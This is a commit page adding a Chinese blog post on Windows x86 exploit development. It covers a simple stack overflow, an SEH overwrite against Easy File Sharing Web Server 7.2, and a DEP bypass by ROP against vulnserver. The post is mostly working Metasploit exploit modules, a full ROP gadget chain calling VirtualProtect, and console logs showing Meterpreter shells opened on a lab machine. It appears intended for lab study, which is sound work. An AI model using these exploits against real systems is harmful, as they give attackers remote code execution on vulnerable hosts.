x86_basic
This commit is contained in:
Cool-Y
parent
7e8c5439c9
commit
bc4ca4c10f
@ -47,7 +47,7 @@ future: true
|
||||
highlight:
|
||||
enable: true
|
||||
line_number: true
|
||||
auto_detect: false
|
||||
auto_detect: true
|
||||
tab_replace:
|
||||
|
||||
# Home page setting
|
||||
|
||||
494
source/_posts/x86basic.md
Normal file
494
source/_posts/x86basic.md
Normal file
@ -0,0 +1,494 @@
|
||||
---
|
||||
title: x86-basic 漏洞利用
|
||||
date: 2019-07-10 17:00:36
|
||||
tags:
|
||||
- 二进制
|
||||
- Windows
|
||||
- 漏洞
|
||||
categories: 二进制
|
||||
---
|
||||
这部分是对Window x86平台下的几个典型漏洞利用方式的介绍，从最基础的、没有开启任何保护的漏洞程序入手，然后开启GS，最后通过rop绕过DEP。
|
||||
# 0x00 漏洞利用开发简介
|
||||
（1）需要什么
|
||||
- Immunity Debugger -[Download](http://debugger.immunityinc.com/ID_register.py)
|
||||
- Mona.py -[Download](https://github.com/corelan/mona)
|
||||
- Metasploit框架-[下载](https://www.metasploit.com/)
|
||||
- 靶机–Windows XP sp3
|
||||
|
||||
|
||||
- 函数调用与栈：调用、返回
|
||||
- 寄存器与函数栈帧：ESP、EBP
|
||||
- 函数栈帧：局部变量、栈帧状态值、函数返回地址
|
||||
- 函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作
|
||||
|
||||
（2）函数调用的汇编过程
|
||||
1. 示例程序
|
||||
```cpp
|
||||
charname[] = "1234567";
|
||||
voidfunc(int a, int b, int c)
|
||||
{
|
||||
charbuf[8];
|
||||
strcpy(buf, name);
|
||||
}
|
||||
```
|
||||
2. 汇编过程
|
||||
* PUSH c, PUSH b, PUSH a
|
||||
* CALL address of func【保存返回地址；跳转】
|
||||
* MOV ebp, esp
|
||||
* PUSH ebp
|
||||
* SUB esp, 0x40
|
||||
* 创建局部变量，4个字节为一组
|
||||
* do something
|
||||
* add esp, 0x40
|
||||
* pop ebp
|
||||
* RETN【弹出返回地址，跳转】
|
||||
3. 栈帧结构
|
||||
|
||||
|
||||
# 0x01 简单栈溢出
|
||||
> **目标程序:**
|
||||
> [bof-server source code](http://redstack.net/blog/static/uploads/2008/01/bof-server.c)
|
||||
> [bof-server binary for Windows](http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe)
|
||||
> **usage:**
|
||||
> 服务端
|
||||
> `bof-server.exe 4242`
|
||||
> 客户端
|
||||
> `telnet localhost 4242`
|
||||
> `version`
|
||||
> `bof-server v0.01`
|
||||
> `quit`
|
||||
|
||||
## 漏洞点
|
||||
|
||||
|
||||
**产生崩溃**
|
||||
将输出的1024个A发送给靶机程序
|
||||
```
|
||||
python -c "print('A' * 1024)"
|
||||
telnet 192.168.64.138 4242
|
||||
```
|
||||
|
||||
|
||||
## 关闭防御措施
|
||||
使用**PESecurity**检查可执行文件本身的防御措施开启情况
|
||||
注意设置：Set-ExecutionPolicyUnrestricted
|
||||
|
||||
|
||||
|
||||
**ASLR和DEP**
|
||||
ASLR在xp下不用考虑，DEP可通过修改boot.ini中的nonexecute来完成（AlwaysOff、OptOut）
|
||||
|
||||
|
||||
## 整体的攻击流程：
|
||||
1. 任意非00的指令覆盖buffer和EBP
|
||||
2. 从程序已经加载的dll中获取他们的jmp esp指令地址。
|
||||
3. 使用jmp esp的指令地址覆盖ReturnAddress
|
||||
4. 从下一行开始填充Shellcode
|
||||
|
||||
|
||||
## 确定溢出点的位置
|
||||
1. 生成字符序列 **pattern_create.rb**
|
||||
|
||||
|
||||
2. 发送给目标程序
|
||||
|
||||
|
||||
3. 计算偏移量 **pattern_offset.rb**
|
||||
|
||||
|
||||
4. 确定payload结构
|
||||
|
||||
|
||||
## 寻找jmp esp跳板
|
||||
1. OD附加进程看一下服务器加载了哪些模块
|
||||
|
||||
2. 查找JMP ESP指令的地址
|
||||
在这里选择了ws2_32.dll作为对象，通过Metasploit的msfbinscan进行搜索
|
||||
|
||||
|
||||
## 自动化攻击
|
||||
```ruby=
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Stack Based Buffer Overflow Example',
|
||||
'Description' => %q{
|
||||
Stack Based Overflow Example Application Exploitation Module
|
||||
},
|
||||
'Platform' => 'Windows',
|
||||
'Author' => 'yanhan',
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'space' => 400,
|
||||
'BadChars' => "\x00\xff"
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows XP SP3',
|
||||
{'Ret' => 0x71a22b53, 'Offset' => 520}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2019-05-25'
|
||||
))
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
buf = make_nops(target['Offset'])
|
||||
buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
|
||||
sock.put(buf)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
```
|
||||
msf5 > use exploit/windows/yanhan/bof_attack
|
||||
msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114
|
||||
rhosts => 192.168.31.114
|
||||
msf5 exploit(windows/yanhan/bof_attack) > set rport 1000
|
||||
rport => 1000
|
||||
msf5 exploit(windows/yanhan/bof_attack) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.31.84:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.114
|
||||
[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800
|
||||
|
||||
meterpreter > ls
|
||||
Listing: C:\Documents and Settings\Administrator
|
||||
================================================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents
|
||||
100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 NetHood
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 PrintHood
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Recent
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 SendTo
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Templates
|
||||
100777/rwxrwxrwx 26665 fil 2019-05-28 14:59:10 +0800 bof-server.exe
|
||||
100666/rw-rw-rw- 1024 fil 2019-05-14 09:54:43 +0800 ntuser.dat.LOG
|
||||
100666/rw-rw-rw- 178 fil 2019-05-14 09:54:43 +0800 ntuser.ini
|
||||
40777/rwxrwxrwx 0 dir 2019-05-29 10:49:26 +0800 vulnserver
|
||||
40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 「开始」菜单
|
||||
40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 桌面
|
||||
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
|
||||
# 0x02 基于SEH的栈溢出
|
||||
> **目标程序** Easy File Sharing Web Server 7.2
|
||||
>
|
||||
> **漏洞点**
|
||||
> 在处理请求时存在漏洞——一个恶意的请求头部（HEAD或GET）就可以引起缓冲区溢出，从而改写SEH链的地址。
|
||||
>
|
||||
> **利用seh**
|
||||
> 填充物+nseh+ seh（pop popretn指令序列地址）+shellcode
|
||||
>
|
||||
> 
|
||||
|
||||
## 确定溢出点的位置
|
||||
1. 生成字符序列
|
||||
```
|
||||
/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt
|
||||
python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt
|
||||
cat a.txt b.txt > c.txt
|
||||
```
|
||||
删除cat造成的多余字符0x0a
|
||||
```
|
||||
vim -bz.txt
|
||||
# In Vim
|
||||
:%!xxd
|
||||
# After editing, use the instruction below to save
|
||||
:%!xxd -r
|
||||
```
|
||||
|
||||
2. 构造SEH链
|
||||
- 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。
|
||||
- 发送溢出字符序列
|
||||
- 查看Easy File Sharing Web Server 7.2溢出地址
|
||||
|
||||
|
||||
3. 计算偏移量
|
||||
计算catch块偏移量&计算下一条SEH记录偏移量
|
||||
|
||||
## 寻找PPR
|
||||
1. 使用mona寻找
|
||||
需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷
|
||||
```
|
||||
!mona modules
|
||||
!mona seh
|
||||
```
|
||||
|
||||
## 自动化攻击
|
||||
1. 编写攻击脚本
|
||||
```ruby=
|
||||
require 'msf/core'
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
|
||||
'Description' => %q{
|
||||
This Module Demonstrate SEH based overflow example
|
||||
},
|
||||
'Author' => 'yanhan',
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 390,
|
||||
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
|
||||
},
|
||||
'Platform' => 'Windows',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Easy File Sharing 7.2 HTTP',
|
||||
{
|
||||
'Ret' => 0x10022fd7,
|
||||
'Offset' => 4061
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2019-01-16',
|
||||
))
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
weapon = "HEAD "
|
||||
weapon << make_nops(target['Offset'])
|
||||
weapon << generate_seh_record(target['Ret'])
|
||||
weapon << make_nops(20)
|
||||
weapon << payload.encoded
|
||||
weapon << " HTTP/1.0\r\n\r\n"
|
||||
sock.put(weapon)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
|
||||
2. exploit
|
||||
```
|
||||
msf5 > use exploit/windows/yanhan/seh_attack
|
||||
msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114
|
||||
rhosts => 192.168.31.114
|
||||
msf5 exploit(windows/yanhan/seh_attack) > set rport 80
|
||||
rport => 80
|
||||
msf5 exploit(windows/yanhan/seh_attack) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.31.84:4444
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp
|
||||
payload => windows/meterpreter/bind_tcp
|
||||
msf5 exploit(windows/yanhan/seh_attack) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 192.168.31.114:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.114
|
||||
[*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WHU-3E3EECEBFD1\Administrator
|
||||
```
|
||||
|
||||
# 0x03 绕过DEP
|
||||
> **目标程序** [Introducing Vulnserver](http://www.thegreycorner.com/2010/12/introducing-vulnserver.html)
|
||||
> **使用** vulnserver.exe 6666
|
||||
> **漏洞点** 
|
||||
|
||||
## 设置DEP保护
|
||||
|
||||
*构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode*
|
||||
|
||||
## 计算偏移量
|
||||
``'TRUN .'+make_nops(target['Offset'])``
|
||||
Immunity附加进程之后，在服务端发送3000个字符，计算偏移
|
||||
|
||||
## 创建ROP链
|
||||
`!mona rop -m *.dll -cp nonull`
|
||||
```ruby
|
||||
################################################################################
|
||||
|
||||
Register setup for VirtualProtect() :
|
||||
--------------------------------------------
|
||||
EAX = NOP (0x90909090)
|
||||
ECX = lpOldProtect (ptr to W address)
|
||||
EDX = NewProtect (0x40)
|
||||
EBX = dwSize
|
||||
ESP = lPAddress (automatic)
|
||||
EBP = ReturnTo (ptr to jmp esp)
|
||||
ESI = ptr to VirtualProtect()
|
||||
EDI = ROP NOP (RETN)
|
||||
--- alternative chain ---
|
||||
EAX = ptr to &VirtualProtect()
|
||||
ECX = lpOldProtect (ptr to W address)
|
||||
EDX = NewProtect (0x40)
|
||||
EBX = dwSize
|
||||
ESP = lPAddress (automatic)
|
||||
EBP = POP (skip 4 bytes)
|
||||
ESI = ptr to JMP [EAX]
|
||||
EDI = ROP NOP (RETN)
|
||||
+ place ptr to "jmp esp" on stack, below PUSHAD
|
||||
--------------------------------------------
|
||||
|
||||
|
||||
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
|
||||
----------------------------------------------------------
|
||||
|
||||
*** [ Ruby ] ***
|
||||
|
||||
def create_rop_chain()
|
||||
|
||||
# rop chain generated with mona.py - www.corelan.be
|
||||
rop_gadgets =
|
||||
[
|
||||
0x77dabf34, # POP ECX # RETN [ADVAPI32.dll]
|
||||
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
|
||||
0x77d1927f, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
|
||||
0x7c96d192, # XCHG EAX,ESI # RETN [ntdll.dll]
|
||||
0x77bef671, # POP EBP # RETN [msvcrt.dll]
|
||||
0x625011af, # & jmp esp [essfunc.dll]
|
||||
0x77e9ad22, # POP EAX # RETN [RPCRT4.dll]
|
||||
0xfffffdff, # Value to negate, will become 0x00000201
|
||||
0x77e6c784, # NEG EAX # RETN [RPCRT4.dll]
|
||||
0x77dc560a, # XCHG EAX,EBX # RETN [ADVAPI32.dll]
|
||||
0x7c87fbcb, # POP EAX # RETN [kernel32.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x77d4493b, # NEG EAX # RETN [USER32.dll]
|
||||
0x77c28fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77bef7c9, # POP ECX # RETN [msvcrt.dll]
|
||||
0x7c99bac1, # &Writable location [ntdll.dll]
|
||||
0x719e4870, # POP EDI # RETN [mswsock.dll]
|
||||
0x77e6d224, # RETN (ROP NOP) [RPCRT4.dll]
|
||||
0x77e8c50c, # POP EAX # RETN [RPCRT4.dll]
|
||||
0x90909090, # nop
|
||||
0x77de60c7, # PUSHAD # RETN [ADVAPI32.dll]
|
||||
].flatten.pack("V*")
|
||||
|
||||
return rop_gadgets
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Call the ROP chain generator inside the 'exploit' function :
|
||||
|
||||
|
||||
rop_chain = create_rop_chain()
|
||||
```
|
||||
## 自动化攻击
|
||||
```ruby=
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DEP Bypass Exploit',
|
||||
'Description' => %q{
|
||||
DEP Bypass Using ROP Chains Example Module
|
||||
},
|
||||
'Platform' => 'Windows',
|
||||
'Author' => 'yanhan',
|
||||
'Payload' =>
|
||||
{
|
||||
'space' => 312,
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows XP',
|
||||
{'Offset' => find it}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2019-01-16'))
|
||||
end
|
||||
|
||||
def create_rop_chain()
|
||||
|
||||
# rop chain generated with mona.py - www.corelan.be
|
||||
rop_gadgets =
|
||||
[
|
||||
0x77dabf34, # POP ECX # RETN [ADVAPI32.dll]
|
||||
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
|
||||
0x77d1927f, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
|
||||
0x7c96d192, # XCHG EAX,ESI # RETN [ntdll.dll]
|
||||
0x77bef671, # POP EBP # RETN [msvcrt.dll]
|
||||
0x625011af, # & jmp esp [essfunc.dll]
|
||||
0x77e9ad22, # POP EAX # RETN [RPCRT4.dll]
|
||||
0xfffffdff, # Value to negate, will become 0x00000201
|
||||
0x77e6c784, # NEG EAX # RETN [RPCRT4.dll]
|
||||
0x77dc560a, # XCHG EAX,EBX # RETN [ADVAPI32.dll]
|
||||
0x7c87fbcb, # POP EAX # RETN [kernel32.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x77d4493b, # NEG EAX # RETN [USER32.dll]
|
||||
0x77c28fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77bef7c9, # POP ECX # RETN [msvcrt.dll]
|
||||
0x7c99bac1, # &Writable location [ntdll.dll]
|
||||
0x719e4870, # POP EDI # RETN [mswsock.dll]
|
||||
0x77e6d224, # RETN (ROP NOP) [RPCRT4.dll]
|
||||
0x77e8c50c, # POP EAX # RETN [RPCRT4.dll]
|
||||
0x90909090, # nop
|
||||
0x77de60c7, # PUSHAD # RETN [ADVAPI32.dll]
|
||||
].flatten.pack("V*")
|
||||
|
||||
return rop_gadgets
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
connect
|
||||
rop_chain = create_rop_chain()
|
||||
junk = make_nops(target['Offset'])
|
||||
buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
|
||||
sock.put(buf)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/yanhan/rop_attack
|
||||
msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114
|
||||
rhosts => 192.168.31.114
|
||||
msf5 exploit(windows/yanhan/rop_attack) > set rport 1000
|
||||
rport => 1000
|
||||
msf5 exploit(windows/yanhan/rop_attack) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.31.84:4444
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp
|
||||
payload => windows/meterpreter/bind_tcp
|
||||
msf5 exploit(windows/yanhan/rop_attack) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 192.168.31.114:4444
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(windows/yanhan/rop_attack) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 192.168.31.114:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.114
|
||||
[*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WHU-3E3EECEBFD1\Administrator
|
||||
```
|
||||
Loading…
Reference in New Issue
Block a user